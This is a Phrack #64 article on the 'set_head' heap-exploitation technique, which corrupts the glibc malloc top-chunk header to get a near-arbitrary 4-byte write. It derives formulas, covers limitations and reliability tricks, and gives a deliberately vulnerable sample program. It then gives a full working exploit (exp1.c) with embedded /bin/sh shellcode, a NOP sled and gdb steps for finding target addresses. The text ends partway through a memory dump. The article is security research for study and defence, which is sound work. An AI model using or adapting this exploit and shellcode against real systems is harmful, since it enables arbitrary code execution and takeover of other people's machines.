_ _
_/B\_ _/W\_
(* *) Phrack #64 file 9 (* *)
| - | | - |
| | The use of set_head to defeat the wilderness | |
| | | |
| | By g463 | |
| | | |
| | jean-sebastien@guay-leroux.com | |
(________________________________________________________)
1 - Introduction
2 - The set_head() technique
2.1 - A look at the past - "The House of Force" technique
2.2 - The basics of set_head()
2.3 - The details of set_head()
3 - Automation
3.1 - Define the basic properties
3.2 - Extract the formulas
3.3 - Compute the values
4 - Limitations
4.1 - Requirements of two different techniques
4.1.1 - The set_head() technique
4.1.2 - The "House of Force" technique
4.2 - Almost 4 bytes to almost anywhere technique
4.2.1 - Everything in life is a multiple of 8
4.2.2 - Top chunk's size needs to be bigger than the requested malloc
size
4.2.3 - Logical OR with PREV_INUSE
5 - Taking set_head() to the next level
5.1 - Multiple overwrites
5.2 - Infoleak
6 - Examples
6.1 - The basic scenarios
6.1.1.1 - The most basic form of the set_head() technique
6.1.1.2 - Exploit
6.1.2.1 - Multiple overwrites
6.1.2.2 - Exploit
6.2 - A real case scenario: file(1) utility
6.2.1 - The hole
6.2.2 - All the pieces fall into place
6.2.3 - hanuman.c
7 - Final words
8 - References
--[ 1 - Introduction
Many papers have been published in the past describing techniques on how to
take advantage of the inbound memory management in the GNU C Library
implementation. A first technique was introduced by Solar Designer in his
security advisory on a flaw in the Netscape browser[1]. Since then, many
improvements have been made by many different individuals ([2], [3], [4],
[5], [6] just to name a few). However, there is always one situation that
gives a lot more trouble than others. Anyone who has already tried to take
advantage of that situation will agree. How to take control of a vulnerable
program when the only critical information that you can overwrite is the
header of the wilderness chunk?
The set_head technique is a new way to obtain a "write almost 4 arbitrary
bytes to almost anywhere" primitive. It was born because of a bug in the
file(1) utility that the author was unable to exploit with existing
techniques.
This paper will present the details of the technique. Also, it will show
you how to practically apply this technique to other exploits. The
limitations of the technique will also be presented. Finally, some
examples will be shown to better understand the various aspects of the
technique.
--[ 2 - The set_head() technique
Most of the time, people who write exploits using malloc techniques are not
aware of the difficulties that the wilderness chunk implies until they face
the problem. It is only at this exact time that they realize how the known
techniques (i.e. unlink, etc.) have no effect on this particular context.
As MaXX once said [3]: "The wilderness chunk is one of the most dangerous
opponents of the attacker who tries to exploit heap mismanagement. Because
this chunk of memory is handled specially by the dlmalloc internal
routines, the attacker will rarely be able to execute arbitrary code if
they solely corrupt the boundary tag associated with the wilderness chunk."
----[ 2.1 - A look at the past - "The House of Force" technique
To better understand the details of the set_head() technique explained in
this paper, it would be helpful to first understand what has already been
done on the subject of exploiting the top chunk.
This is not the first time that the exploitation of the wilderness chunk
has been specifically targeted. The pioneer of this type of exploitation
is Phantasmal Phantasmagoria.
He first wrote an article entitled "Exploiting the wilderness" about it in
2004. Details of this technique are out of scope for the current paper,
but you can learn more about it by reading his paper [5].
He gave a second try at exploiting the wilderness in his excellent paper
"Malloc Maleficarum" [4]. He named his technique "The House of Force". To
better understand the set_head() technique, the "House of Force" is
described below.
The idea behind "The House of Force" is quite simple but there are specific
steps that need to be followed. Below, you will find a brief summary of
all the steps.
Step one:
The first step in the "House of Force" consists in overflowing the size
field of the top chunk to make the malloc library think it is bigger than
it actually is. The preferred new size of the top chunk should be
0xffffffff. Below is a an ascii graphic of the memory layout at the time
of the overflow. Notice that the location of the top chunk is somewhere in
the heap.
0xbfffffff -> +-----------------+
| |
| stack |
| |
: :
: :
. .
: :
: :
| |
| |
| heap |<--- Top chunk
| |
+-----------------+
| global offset |
| table |
+-----------------+
| |
| |
| text |
| |
| |
0x08048000 -> +-----------------+
Step two:
After this, a call to malloc with a user-supplied size should be issued.
With this call, the top chunk will be split in two parts. One part will be
returned to the user, and the other part will be the remainder chunk (the
top chunk).
The purpose of this step is to move the top chunk right before a global
offset table entry. The new location of the top chunk is the sum of the
current address of the top chunk and the value of the malloc call. This
sum is done with the following line of code:
--[ From malloc.c
remainder = chunk_at_offset(victim, nb);
After the malloc call, the memory layout should be similar to the
representation below:
0xbfffffff -> +-----------------+
| |
| stack |
| |
: :
: :
. .
: :
: :
| |
| |
| heap |
| |
+-----------------+
| global offset |
| table |
+-----------------+<--- Top chunk
| |
| |
| text |
| |
| |
0x08048000 -> +-----------------+
Step three:
Finally, another call to malloc needs to be done. This one needs to be
large enough to trigger the top chunk code. If the user has some sort of
control over the content of this buffer, he can then overwrite entries
inside the global offset table and he can seize control of the process.
Look at the following representation for the current memory layout at the
time of the allocation:
0xbfffffff -> +-----------------+
| |
| stack |
| |
: :
: :
. .
: :
: :
| |
| |
| heap |<---- Top chunk
| |---+
+-----------------+ |
| global offset | |- Allocated memory
| table | |
+-----------------+---+
| |
| |
| text |
| |
| |
0x08048000 -> +-----------------+
----[ 2.2 - The basics of set_head()
Now that the basic review of the "House of Force" technique is done, let's
look at the set_head() technique. The basic idea behind this technique is
to use the set_head() macro to write almost four arbitrary bytes to almost
anywhere in memory. This macro is normally used to set the value of the
size field of a memory chunk to a specific value. Let's have a peak at the
code:
--[ From malloc.c:
/* Set size/use field */
#define set_head(p, s) ((p)->size = (s))
This line is very simple to understand. It takes the memory chunk 'p',
modifies its size field and replace it with the value of the variable 's'.
If the attacker has control of those two parameters, it may be possible to
modify the content of an arbitrary memory location with a value that he
controls.
To trigger the particular call to set_head() that could lead to this
arbitrary overwrite, two specific steps need to be followed. These steps
are described below.
First step:
The first step of the set_head() technique consists in overflowing the size
field of the top chunk to make the malloc library think it is bigger than
it actually is. The specific value that you will overwrite with will
depend on the parameters of the exploitable situation. Below is an ascii
graphic of the memory layout at the time of the overflow. Notice that the
location of the top chunk is somewhere in the heap.
0xbfffffff -> +-----------------+
| |
| stack |
| |
: :
: :
. .
: :
: :
| |
| |
| heap |<--- Top chunk
| |
+-----------------+
| |
| data |
| |
+-----------------+
| |
| |
| text |
| |
| |
0x08048000 -> +-----------------+
Second step:
After this, a call to malloc with a user-supplied size should be issued.
With this call, the top chunk will be split in two parts. One part will be
returned to the user, and the other part will be the remainder chunk (the
top chunk).
The purpose of this step is to move the top chunk before the location that
you want to overwrite. This location needs to be on the stack, and you
will see why at section 4.2.2. During this step, the malloc code will set
the size of the new top chunk with the set_head() macro. Look at the
representation below to better understand the memory layout at the time of
the overwrite:
0xbfffffff -> +-----------------+
| |
| stack |
| |
+-----------------+
| size of topchunk|
+-----------------+
|prev_size not use|
+-----------------+<--- Top chunk
| |
: :
: :
. .
: :
: :
| |
| |
| heap |
| |
+-----------------+
| |
| data |
| |
+-----------------+
| |
| |
| text |
| |
| |
0x08048000 -> +-----------------+
If you control the new location of the top chunk and the new size of the
top chunk, you can get a "write almost 4 arbitrary bytes to almost
anywhere" primitive.
----[ 2.3 - The details of set_head()
The set_head macro is used many times in the malloc library. However, it's
used at a particularly interesting emplacement where it's possible to
influence its parameters. This influence will let the attacker overwrite 4
bytes in memory with a value that he can control.
When there is a call to malloc, different methods are tried to allocate the
requested memory. MaXX did a pretty great job at explaining the malloc
algorithm in section 3.5.1 of his text[3]. Reading his text is highly
suggested before continuing with this text. Here are the main points of
the algorithm:
1. Try to find a chunk in the bin corresponding to the size of the
request;
2. Try to use the remainder chunk;
3. Try to find a chunk in the regular bins.
If those three steps fail, interesting things happen. The malloc function
tries to split the top chunk. The 'use_top' code portion is then called.
It's in that portion of code that it's possible to take advantage of a call
to set_head(). Let's analyze the use_top code:
--[ From malloc.c
01 Void_t*
02 _int_malloc(mstate av, size_t bytes)
03 {
04 INTERNAL_SIZE_T nb; /* normalized request size */
05
06 mchunkptr victim; /* inspected/selected chunk */
07 INTERNAL_SIZE_T size; /* its size */
08
09 mchunkptr remainder; /* remainder from a split */
10 unsigned long remainder_size; /* its size */
11
12
13 checked_request2size(bytes, nb);
14
15 [ ... ]
16
17 use_top:
18
19 victim = av->top;
20 size = chunksize(victim);
21
22 if ((unsigned long)(size) >= (unsigned long)(nb + MINSIZE)) {
23 remainder_size = size - nb;
24 remainder = chunk_at_offset(victim, nb);
25 av->top = remainder;
26 set_head(victim, nb | PREV_INUSE |
27 (av != &main_arena ? NON_MAIN_ARENA : 0));
28 set_head(remainder, remainder_size | PREV_INUSE);
29
30 check_malloced_chunk(av, victim, nb);
31 return chunk2mem(victim);
32 }
All the magic happens at line 28. By forcing a particular context inside
the application, it's possible to control set_head's parameters and then
overwrite almost any memory addresses with almost four arbitrary bytes.
Let's see how it's possible to control these two parameters, which are
'remainder' and 'remainder_size' :
1. How to get control of 'remainder_size':
a. At line 13, 'nb' is filled with the normalized size of the
value of the malloc call. The attacker should have control
on the value of this malloc call.
b. Remember that this technique requires that the size field of
the top chunk needs to be overwritten by the overflow. At
line 19 & 20, the value of the overwritten size field of the
top chunk is getting loaded in 'size'.
c. At line 22, a check is done to ensure that the top chunk is
large enough to take care of the malloc request. The
attacker needs that this condition evaluates to true to reach
the set_head() macro at line 28.
d. At line 23, the requested size of the malloc call is
subtracted from the size of the top chunk. The remaining
value is then stored in 'remainder_size'.
2. How to get control of 'remainder':
a. At line 13, 'nb' is filled with the normalized size of the
value of the malloc call. The attacker should have control
of the value of this malloc call.
b. Then, at line 19, the variable 'victim' gets filled with the
address of the top chunk.
c. After this, at line 24, chunk_at_offset() is called. This
macro adds the content of 'nb' to the value of 'victim'. The
result will be stored in 'remainder'.
Finally, at line 28, the set_head() macro modifies the size field of the
fake remainder chunk and fills it with the content of the variable
'remainder_size'. This is how you get your "write almost 4 arbitrary bytes
to almost anywhere in memory" primitive.
--[ 3 - Automation
It was explained in section 2.3 that the variables 'remainder' and
'remainder_size' will be used as parameters to the set_head macro. The
following steps will explain how to proceed in order to get the desired
value in those two variables.
----[ 3.1 - Define the basic properties
Before trying to exploit a security hole with the set_head technique, the
attacker needs to define the parameters of the vulnerable context. These
parameters are:
1. The return location: This is the location in memory that you
want to write to. It is often referred as 'retloc' through this
paper.
2. The return address: This is the content that you will write to
your return location. Normally, this will be a memory address
that points to your shellcode. It is often referred as 'retadr'
through this paper.
3. The location of the topchunk: To use this technique, you must
know the exact position of the top chunk in memory. This
location is often referred as 'toploc' through this paper.
----[ 3.2 - Extract the formulas
The attacker has control on two things during the exploitation stage.
First, the content of the overwritten top chunk's size field and secondly,
the size parameter to the malloc call. The values that the attacker
chooses for these will determine the exact content of the variables
'remainder' and 'remainder_size' later used by the set_head() macro.
Below, two formulas are presented to help the attacker find the appropriate
values.
1. How to get the value for the malloc parameter:
a. The following line is taken directly from the malloc.c code:
remainder = chunk_at_offset(victim, nb)
b. 'nb' is the normalized value of the malloc call. It's the
result of the macro request2size(). To make things simpler,
let's add 8 to this value to take care of this macro:
remainder = chunk_at_offset(victim, nb + 8)
c. chunk_at_offset() adds the normalized size 'nb' to the top
chunk's location:
remainder = toploc + (nb + 8)
e. 'remainder' is the return location (i.e. 'retloc') and 'nb'
is the malloc size (i.e. 'malloc_size'):
retloc = toploc + (malloc_size + 8)
d. Isolate the 'malloc_size' variable to get the final formula:
malloc_size = (retloc - toploc - 8)
2. The second formula is how to get the new size of the top chunk.
a. The following line is taken directly from the malloc.c code:
remainder_size = size - nb;
b. 'size' is the size of the top chunk (i.e. 'topchunk_size'),
and 'nb' is the normalized parameter of the malloc call
(i.e. 'malloc_size'):
remainder_size = topchunk_size - malloc_size
c. 'remainder_size' is in fact the return address
(i.e. retadr'):
retadr = topchunk_size - malloc_size
d. Isolate 'topchunk_size' to get the final formula:
topchunk_size = retadr + malloc_size
e. topchunk_size will get its three least significant bits
cleared by the macro chunksize(). Let's consider this in the
formula by adding 8 to the right side of the equation:
topchunk_size = (retadr + malloc_size + 8)
g. Take into consideration that the PREV_INUSE flag is being set
in the set_head() macro:
topchunk_size = (retadr + malloc_size + 8) | PREV_INUSE
----[ 3.3 - Compute the values
You now have the two basic formulas:
1. malloc_size = (retloc - toploc - 8)
2. topchunk_size = (retadr + malloc_size + 8) | PREV_INUSE
You can now proceed with finding the exact values that you will plug into
your exploit.
To facilitate the integration of those formulas in your exploit code, you
can use the set_head_compute() function found in the file(1) utility
exploit code (refer to section 6.2.3). Here is the prototype of the
function:
struct sethead * set_head_compute
(unsigned int retloc, unsigned int retadr, unsigned int toploc)
The structure returned by the function set_head_compute() is defined this
way:
struct sethead {
unsigned long topchunk_size;
unsigned long malloc_size;
}
By giving this function your return location, your return address and your
top chunk location, it will compute the exact malloc size and top chunk
size to use in your exploit. It will also tell you if it's possible to
execute the requested write operation based on the return address and the
return location you have chosen.
--[ 4 - Limitations
At the time of writing this paper, there was no simple and easy way to
exploit a heap overflow when the top chunk is involved. Each exploitation
technique needs a particular context to work successfully. The set_head
technique is no different. It has some requirements to work properly.
Also, it's not a real "write 4 arbitrary bytes to anywhere" primitive. In
fact, it would be more of a "write almost 4 arbitrary bytes to almost
anywhere in memory" primitive.
----[ 4.1 - Requirements of two different techniques
Specific elements need to be present to exploit a situation in which the
wilderness chunk is involved. These elements tend to impose a lot of
constraints when trying to exploit a program. Below, the requirements for
the set_head technique are listed, alongside those of the "House of Force"
technique. As you will see, each technique has its pros and cons.
------[ 4.1.1 - The set_head() technique
Minimum requirements:
1. The size field of the topchunk needs to be overwritten with a
value that the attacker can control;
2. Then, there is a call to malloc with a parameter that the
attacker can control;
This technique will let you write almost 4 arbitrary bytes to almost
anywhere.
------[ 4.1.2 The "House of Force" technique
Minimum requirements:
1. The size field of the topchunk must be overwritten with a very
large value;
2. Then, there must be a first call to malloc with a very large
size. An important point is that this same allocated buffer
should only be freed after the third step.
3. Finally, there should be a second call to malloc. This buffer
should then be filled with some user supplied data.
This technique will, in the best-case scenario, let you overwrite any
region in memory with a string of an arbitrary length that you control.
----[ 4.2 - Almost 4 bytes to almost anywhere technique
This set_head technique is not really a "write 4 arbitrary bytes anywhere
in memory" primitive. There are some restrictions in malloc.c that greatly
limit the possible values an attacker can use for the return location and
the return address in an exploit. Still, it's possible to run arbitrary
code if you carefully choose your values.
Below you will find the three main restrictions of this technique:
------[ 4.2.1 - Everything in life is a multiple of 8
A disadvantage of the set_head technique is the presence of macros that
ensure memory locations and values are a multiple of 8 bytes. These macros
are:
- checked_request2size() and
- chunksize()
Ultimately, this will have some influence on the selection of the return
location and the return address.
The memory addresses that you can overwrite with the set_head technique
need to be aligned on a 8 bytes boundary. Interesting locations to
overwrite on the stack usually include a saved EIP of a stack frame or a
function pointer. These pointers are aligned on a 4 bytes boundary, so with
this technique, you will be able to modify one memory address on two.
The return address will also need to be a multiple of 8 (not counting the
logical OR with PREV_INUSE). Normally, the attacker has the possibility of
providing a NOP cushion right before his shellcode, so this is not really a
big issue.
------[ 4.2.2 - Top chunk's size needs to be bigger than the requested
malloc size
This is the main disadvantage of the set_head technique. For the top chunk
code to be triggered and serve the memory request, there is a verification
before the top chunk code is executed:
--[ From malloc.c
if ((unsigned long)(size) >= (unsigned long)(nb + MINSIZE)) {
In short, this line requires that the size of the top chunk is bigger than
the size requested by the malloc call. Since the variable 'size' and 'nb'
are computed from the return location, the return address and the top
chunk's location, it will greatly limit the content and the location of the
arbitrary overwrite operation. There is still a valid combination of a
return address and a return location that exists.
Let's see what the value of 'size' and 'nb' for a given return location and
return address will be. Let's find out when there is a situation in which
'size' is greater than 'nb'. Consider the fact that the location of the
top chunk is static and it's at 0x080614f8:
+------------+------------++------------+------------+
| return | return || size | nb |
| location | address || | |
+------------+------------++------------+------------+
| 0x0804b150 | 0x08061000 || 134523993 | 4294876240 |
| 0x0804b150 | 0xbffffbaa || 3221133059 | 4294876240 |
| 0xbffffaaa | 0xbffffbaa || 2012864861 | 3086607786 |
| 0xbffffaaa | 0x08061000 || 3221222835 | 3086607786 | <- !!!!!
+------------+------------++------------+------------+
As you can see from this chart, the only time that you get a situation
where 'size' is greater than 'nb' is when your return location is somewhere
in the stack and when your return address is somewhere in the heap.
------[ 4.2.3 - Logical OR with PREV_INUSE
When the set_head macro is called, 'remainder_size', which is the return
address, will be altered by a logical OR with the flag PREV_INUSE:
--[ From malloc.c
#define PREV_INUSE 0x1
set_head(remainder, remainder_size | PREV_INUSE);
It was said in section 4.2.1 that the return address will always be a
multiple of 8 bytes due to the normalisation of some macros. With the
PREV_INUSE logical OR, it will be a multiple of 8 bytes, plus 1. With an
NOP cushion, this problem is solved. Compared to the previous two, this
restriction is a very small one.
--[ 5 - Taking set_head() to the next level
As a general rule, hackers try to make their exploit as reliable as
possible. Exploiting a vulnerability in a confined lab and in the wild are
two different things. This section will try to present some techniques to
improve the reliability of the set_head technique.
----[ 5.1 - Multiple overwrites
One way to make the exploitation process a lot more reliable is by using
multiple overwrites. Indeed, having the possibility of overwriting a
memory location with 4 bytes is good, but the possibility to write multiple
times to memory is even better[8]. Being able to overwrite multiple memory
locations with set_head will increase your chance of finding a valid return
location on the stack.
A great advantage of the set_head technique is that it does not corrupt
internal malloc information in a way that prevents the program from working
properly. This advantage will let you safely overwrite more than one
memory location.
To correctly put this technique in place, the attacker will need to start
overwriting addresses at the top of the stack, and go downward until he
seizes control of the program. Here are the possible addresses that
set_head() lets you overwrite on the stack:
1: 0xbffffffc
2: 0xbffffff4
3: 0xbfffffec
4: 0xbfffffe4
5: 0xbfffffdc
6: 0xbfffffd4
7: 0xbfffffcc
8: 0xbfffffc4
9: ...
Eventually, the attacker will fall on a memory location which is a saved
EIP in a stack frame. If he's lucky enough, this new saved EIP will be
popped in the EIP register.
Remember that for a successfull overwrite, the attacker needs to do two
things:
1. Overwrite the top chunk with a specific value;
2. Make a call to malloc with a specific value.
Based on the formulas that were found in section 3.3, let's compute the
values for the top chunk size and the size for the malloc call for each
overwrite operation. Let's take the following values for an example case:
The location of the top chunk: 0x08050100
The return address: 0x08050200
The return location: Decrementing from 0xbffffffc
to 0xbfffffc4
+------------++------------+------------+
| return || top chunk | malloc |
| location || size | size |
+------------++------------+------------+
+------------++------------+------------+
| 0xbffffffc || 3221225725 | 3086679796 |
| 0xbffffff4 || 3221225717 | 3086679788 |
| 0xbfffffec || 3221225709 | 3086679780 |
| 0xbfffffe4 || 3221225701 | 3086679772 |
| 0xbfffffdc || 3221225693 | 3086679764 |
| 0xbfffffd4 || 3221225685 | 3086679756 |
| 0xbfffffcc || 3221225677 | 3086679748 |
| 0xbfffffc4 || 3221225669 | 3086679740 |
| ... || ... | ... |
+------------++------------+------------+
By looking at this chart, you can determine that for each overwrite
operation, the attacker would need to overwrite the size of the top chunk
with a new value and make a call to malloc with an arbitrary value. Would
it be possible to improve this a little bit? It would be great if the only
thing you needed to change between each overwrite operation was the size of
the malloc call, leaving the size of the top chunk untouched.
Indeed, it's possible. Look closely at the functions used to compute
malloc_size and topchunk_size. Let's say the attacker has only one
possibility to overwrite the size of the top chunk, would it still be
possible to do multiple overwrites using the set_head technique while
keeping the same size for the top chunk?
1. malloc_size = (retloc - toploc - 8)
2. topchunk_size = (retadr + malloc_size + 8) | PREV_INUSE
If you look at how 'topchunk_size' is computed, it seems possible. By
changing the value of 'retloc', it will affect 'malloc_size'. Then,
'malloc_size' is used to compute 'topchunk_size'. By playing with 'retadr'
in the second formula, you can always hit the same 'topchunk_size'. Let's
look at the same example, but this time with a changing return address.
While the return location is decrementing by 8, let's increment the return
address by 8.
+------------+-----------++------------+------------+
| return | return || top chunk | malloc |
| location | address || size | size |
+------------+-----------++------------+------------+
+------------+-----------++------------+------------+
| 0xbffffffc | 0x8050200 || 3221225725 | 3086679796 |
| 0xbffffff4 | 0x8050208 || 3221225725 | 3086679788 |
| 0xbfffffec | 0x8050210 || 3221225725 | 3086679780 |
| 0xbfffffe4 | 0x8050218 || 3221225725 | 3086679772 |
| 0xbfffffdc | 0x8050220 || 3221225725 | 3086679764 |
| 0xbfffffd4 | 0x8050228 || 3221225725 | 3086679756 |
| 0xbfffffcc | 0x8050230 || 3221225725 | 3086679748 |
| 0xbfffffc4 | 0x8050238 || 3221225725 | 3086679740 |
| ... | ... || ... | ... |
+------------+-----------++------------+------------+
You can see that the size of the top chunk is always the same. On the
other hand, the return address changes through the multiple overwrites.
The attacker needs to have an NOP cushion big enough to adapt to this
variation.
Refer to section 6.1.2.1 to get a sample vulnerable scenario exploitable
with multiple overwrites.
----[ 5.2 - Infoleak
As was stated in the Shellcoder's Handbook[9]: "An information leak can
make even a difficult bug possible". Most of the time, people who write
exploits try to make them as reliable as possible. If hackers, using an
infoleak technique, can improve the reliability of the set_head technique,
well, that's pretty good. The technique is already hard to use because it
relies on unknown memory locations, which are:
- The return location
- The top chunk location
- The return address
When there is an overwrite operation, if the attacker is able to tell if
the program has crashed or not, he can turn this to his advantage. Indeed,
this knowledge could help him find one parameter of the exploitable
situation, which is the top chunk location.
The theory behind this technique is simple. If the attacker has the real
address of the top chunk, he will be able to write at the address
0xbffffffc but not at the address 0xc0000004.
Indeed, a write operation at the address 0xbffffffc will work because this
address is in the stack and its purpose is to store the environment
variables of the program. It does not significantly affect the behaviour
of the program, so the program will still continue to run normally.
On the other hand, if the attacker wrote in memory starting from
0xc0000000, there will be a segmentation fault because this memory region
is not mapped. After this violation, the program will crash.
To take advantage of this behaviour, the attacker will have to do a series
of write operations while incrementing or decrementing the location of the
top chunk. For each top chunk location tried, there should be 6 write
operations.
Below, you will find the parameters of the exploitable situation to use
during the 6 write operations. The expected result is in the right column
of the chart. If you get these results, then the value used for the
location of the top chunk is the right one.
+------------+------------++--------------+
| return | return || Did it |
| location | address || segfault ? |
+------------+------------++--------------+
+------------+------------++--------------+
| 0xc0000014 | 0x07070707 || Yes |
| 0xc000000c | 0x07070707 || Yes |
| 0xc0000004 | 0x07070707 || Yes |
| 0xbffffffc | 0x07070707 || No |
| 0xbffffff4 | 0x07070707 || No |
| 0xbfffffec | 0x07070707 || No |
+------------+------------++--------------+
If the six write operations made the program segfault each time, then the
attacker is probably writing after 0xbfffffff or below the limit of the
stack.
If the 6 write operations succeeded and the program did not crash, then it
probably means that the attacker overwrote some values in the stack. In
that case, decrement the value of the top chunk location to use.
--[ 6 - Examples
The best way to learn something new is probably with the help of examples.
Below, you will find some vulnerable codes and their exploits.
A scenario-based approach is taken here to demonstrate the exploitability
of a situation. Ultimately, the exploitability of a context can be defined
by specific characterictics.
Also, the application of the set_head() technique on a real life example is
shown with the file(1) utility vulnerability. The set_head technique was
found to exploit this specific vulnerability.
----[ 6.1 - The basic scenarios
To simplify things, it's useful to define exploitable contexts in terms of
scenarios. For each specific scenario, there should be a specific way to
exploit it. Once the reader has learned those scenarios, he can then match
them with vulnerable situations in softwares. He will then know exactly
what approach to use to make the most out of the vulnerability.
------[ 6.1.1.1 - The most basic form of the set_head() technique
This scenario is the most basic form of the application of the set_head()
technique. This is the approach that was used in the file(1) utility
exploit.
--------------------------- scenario1.c -----------------------------------
#include <stdio.h>
#include <stdlib.h>
int main (int argc, char *argv[]) {
char *buffer1;
char *buffer2;
unsigned long size;
/* [1] */ buffer1 = (char *) malloc (1024);
/* [2] */ sprintf (buffer1, argv[1]);
size = strtoul (argv[2], NULL, 10);
/* [3] */ buffer2 = (char *) malloc (size);
return 0;
}
--------------------------- end of scenario1.c ----------------------------
Here is a brief description of the important lines in this code:
[1]: The top chunk is split and a memory region of 1024 bytes is requested.
[2]: A sprintf call is made. The destination buffer is not checked to see
if it is large enough. The top chunk can then be overwritten here.
[3]: A call to malloc with a user-supplied size is done.
------[ 6.1.1.2 - Exploit
--------------------------- exp1.c ----------------------------------------
/*
Exploit for scenario1.c
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
// The following #define are from malloc.c and are used
// to compute the values for the malloc size and the top chunk size.
#define PREV_INUSE 0x1
#define SIZE_BITS 0x7 // PREV_INUSE|IS_MMAPPED|NON_MAIN_ARENA
#define SIZE_SZ (sizeof(size_t))
#define MALLOC_ALIGNMENT (2 * SIZE_SZ)
#define MALLOC_ALIGN_MASK (MALLOC_ALIGNMENT - 1)
#define MIN_CHUNK_SIZE 16
#define MINSIZE (unsigned long)(((MIN_CHUNK_SIZE+MALLOC_ALIGN_MASK) \
& ~MALLOC_ALIGN_MASK))
#define request2size(req) (((req) + SIZE_SZ + MALLOC_ALIGN_MASK \
< MINSIZE)?MINSIZE : ((req) + SIZE_SZ + MALLOC_ALIGN_MASK) \
& ~MALLOC_ALIGN_MASK)
struct sethead {
unsigned long topchunk_size;
unsigned long malloc_size;
};
/* linux_ia32_exec - CMD=/bin/sh Size=68 Encoder=PexFnstenvSub
http://metasploit.com */
unsigned char scode[] =
"\x31\xc9\x83\xe9\xf5\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x27"
"\xe2\xc0\xb3\x83\xeb\xfc\xe2\xf4\x4d\xe9\x98\x2a\x75\x84\xa8\x9e"
"\x44\x6b\x27\xdb\x08\x91\xa8\xb3\x4f\xcd\xa2\xda\x49\x6b\x23\xe1"
"\xcf\xea\xc0\xb3\x27\xcd\xa2\xda\x49\xcd\xb3\xdb\x27\xb5\x93\x3a"
"\xc6\x2f\x40\xb3";
struct sethead * set_head_compute
(unsigned long retloc, unsigned long retadr, unsigned long toploc) {
unsigned long check_retloc, check_retadr;
struct sethead *shead;
shead = (struct sethead *) malloc (8);
if (shead == NULL) {
fprintf (stderr,
"--[ Could not allocate memory for sethead structure\n");
exit (1);
}
if ( (toploc % 8) != 0 ) {
fprintf (stderr,
"--[ Impossible to use 0x%x as the top chunk location.",
toploc);
toploc = toploc - (toploc % 8);
fprintf (stderr, " Using 0x%x instead\n", toploc);
} else
fprintf (stderr,
"--[ Using 0x%x as the top chunk location.\n", toploc);
// The minus 8 is to take care of the normalization
// of the malloc parameter
shead->malloc_size = (retloc - toploc - 8);
// By adding the 8, we are able to sometimes perfectly hit
// the return address. To hit it perfectly, retadr must be a multiple
// of 8 + 1 (for the PREV_INUSE flag).
shead->topchunk_size = (retadr + shead->malloc_size + 8) | PREV_INUSE;
if (shead->topchunk_size < shead->malloc_size) {
fprintf (stderr,
"--[ ERROR: topchunk size is less than malloc size.\n");
fprintf (stderr, "--[ Topchunk code will not be triggered\n");
exit (1);
}
check_retloc = (toploc + request2size (shead->malloc_size) + 4);
if (check_retloc != retloc) {
fprintf (stderr,
"--[ Impossible to use 0x%x as the return location. ", retloc);
fprintf (stderr, "Using 0x%x instead\n", check_retloc);
} else
fprintf (stderr, "--[ Using 0x%x as the return location.\n",
retloc);
check_retadr = ( (shead->topchunk_size & ~(SIZE_BITS))
- request2size (shead->malloc_size)) | PREV_INUSE;
if (check_retadr != retadr) {
fprintf (stderr,
"--[ Impossible to use 0x%x as the return address.", retadr);
fprintf (stderr, " Using 0x%x instead\n", check_retadr);
} else
fprintf (stderr, "--[ Using 0x%x as the return address.\n",
retadr);
return shead;
}
void
put_byte (char *ptr, unsigned char data) {
*ptr = data;
}
void
put_longword (char *ptr, unsigned long data) {
put_byte (ptr, data);
put_byte (ptr + 1, data >> 8);
put_byte (ptr + 2, data >> 16);
put_byte (ptr + 3, data >> 24);
}
int main (int argc, char *argv[]) {
char *buffer;
char malloc_size_string[20];
unsigned long retloc, retadr, toploc;
unsigned long topchunk_size, malloc_size;
struct sethead *shead;
if ( argc != 4) {
printf ("wrong number of arguments, exiting...\n\n");
printf ("%s <retloc> <retadr> <toploc>\n\n", argv[0]);
return 1;
}
sscanf (argv[1], "0x%x", &retloc);
sscanf (argv[2], "0x%x", &retadr);
sscanf (argv[3], "0x%x", &toploc);
shead = set_head_compute (retloc, retadr, toploc);
topchunk_size = shead->topchunk_size;
malloc_size = shead->malloc_size;
buffer = (char *) malloc (1036);
memset (buffer, 0x90, 1036);
put_longword (buffer+1028, topchunk_size);
memcpy (buffer+1028-strlen(scode), scode, strlen (scode));
buffer[1032]=0x0;
snprintf (malloc_size_string, 20, "%u", malloc_size);
execl ("./scenario1", "scenario1", buffer, malloc_size_string,
NULL);
return 0;
}
--------------------------- end of exp1.c ---------------------------------
Here are the steps to find the 3 memory values to use for this exploit.
1- The first step is to generate a core dump file from the vulnerable
program. You will then have to analyze this core dump to find the proper
values for your exploit.
To generate the core file, get an approximation of the top chunk location
by getting the base address of the BSS section. Normally, the heap will
start just after the BSS section:
bash$ readelf -S ./scenario1 | grep bss
[22] .bss NOBITS 080495e4 0005e4 000004
The BSS section starts at 0x080495e4. Let's call the exploit the following
way, and remember to replace 0x080495e4 for the BSS value you have found:
bash$ ./exp1 0xc0c0c0c0 0x080495e4 0x080495e4
--[ Impossible to use 0x80495e4 as the top chunk location. Using 0x80495e0
instead
--[ Impossible to use 0xc0c0c0c0 as the return location. Using 0xc0c0c0c4
instead
--[ Impossible to use 0x80495e4 as the return address. Using 0x80495e1
instead
Segmentation fault (core dumped)
bash$
2- Call gdb on that core dump file.
bash$ gdb -q scenario1 core.2212
Core was generated by `scenario1'.
Program terminated with signal 11, Segmentation fault.
Reading symbols from /usr/lib/debug/libc.so.6...done.
Loaded symbols for /usr/lib/debug/libc.so.6
Reading symbols from /lib/ld-linux.so.2...done.
Loaded symbols for /lib/ld-linux.so.2
#0 _int_malloc (av=0x40140860, bytes=1075054688) at malloc.c:4082
4082 set_head(remainder, remainder_size | PREV_INUSE);
(gdb)
3- The ESI register contains the address of the top chunk. It might be
another register for you.
(gdb) info reg esi
esi 0x8049a38 134519352
(gdb)
4- Start searching before the location of the top chunk to find the NOP
cushion. This will be the return address.
0x8049970: 0x90909090 0x90909090 0x90909090 0x90909090
0x8049980: 0x90909090 0x90909090 0x90909090 0x90909090
0x8049990: 0x90909090 0x90909090 0x90909090 0x90909090
0x80499a0: 0x90909090 0x90909090 0x90909090 0x90909090
0x80499b0: 0x90909090 0x90909090 0x90909090 0x90909090
0x80499c0: 0x90909090 0x90909090 0x90909090 0x90909090
0x80499d0: 0x90909090 0x90909090 0x90909090 0x90909090
0x80499e0: 0x90909090 0x90909090 0x90909090 0xe983c931
0x80499f0: 0xd9eed9f5 0x5bf42474 0x27137381 0x83b3c0e2
